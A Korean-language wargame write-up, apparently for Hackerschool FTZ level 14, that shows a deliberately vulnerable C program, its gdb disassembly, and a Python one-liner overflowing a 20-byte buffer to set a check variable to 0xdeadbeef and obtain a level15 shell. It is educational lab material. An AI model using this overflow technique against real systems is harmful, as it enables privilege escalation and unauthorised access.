728x90
레벨14 이후로는 mainsource의 문제를 그대로 가져왔습니다.
버퍼 오버플로우, 포맷스트링을 학습하는데는 이 문제들이
최고의 효과를 가져다줍니다.
#include <stdio.h>
#include <unistd.h>
main()
{ int crap;
int check;
char buf[20];
fgets(buf,45,stdin);
if (check==0xdeadbeef)
{
setreuid(3095,3095);
system("/bin/sh");
}
}
(gdb) disas main
Dump of assembler code for function main:
0x080483b8 <main+0>: push ebp
0x080483b9 <main+1>: mov ebp,esp
0x080483bb <main+3>: sub esp,0x38
0x080483be <main+6>: and esp,0xfffffff0
0x080483c1 <main+9>: mov eax,0x0
0x080483c6 <main+14>: sub esp,eax
0x080483c8 <main+16>: sub esp,0x4
0x080483cb <main+19>: push ds:0x80495d0
0x080483d1 <main+25>: push 0x2d
0x080483d3 <main+27>: lea eax,[ebp-56] //buf 주솟값 ebp-56
0x080483d6 <main+30>: push eax
0x080483d7 <main+31>: call 0x80482d8 <fgets>
0x080483dc <main+36>: add esp,0x10
0x080483df <main+39>: cmp DWORD PTR [ebp-16],0xdeadbeef //check의 주솟값 ebp-16
0x080483e6 <main+46>: jne 0x804840d <main+85>
0x080483e8 <main+48>: sub esp,0x8
0x080483eb <main+51>: push 0xc17
0x080483f0 <main+56>: push 0xc17
0x080483f5 <main+61>: call 0x80482f8 <setreuid>
0x080483fa <main+66>: add esp,0x10
0x080483fd <main+69>: sub esp,0xc
0x08048400 <main+72>: push 0x80484bc
0x08048405 <main+77>: call 0x80482c8 <system>
buf가 ebp-56의 주솟값에서 시작된다. 그리고 ebp-16에 변수 check가 존재하는데 0xdeadbeef와 같으면 level15의 권한으로 /bin/sh을 실행할 수 있다. 그리고나서 my-pass를 입력한다면 level15의 비밀번호가 나타날 것이다.
[level14@ftz tmp]$ (python -c 'print "A"*40+"\xef\xbe\xad\xde"';cat)|../attackme
my-pass
Level15 Password is "guess what".
명령어에 사용된 문법에 대해 좀 더 알고 싶다면 level11과 level12의 해설을 참고 바란다.
728x90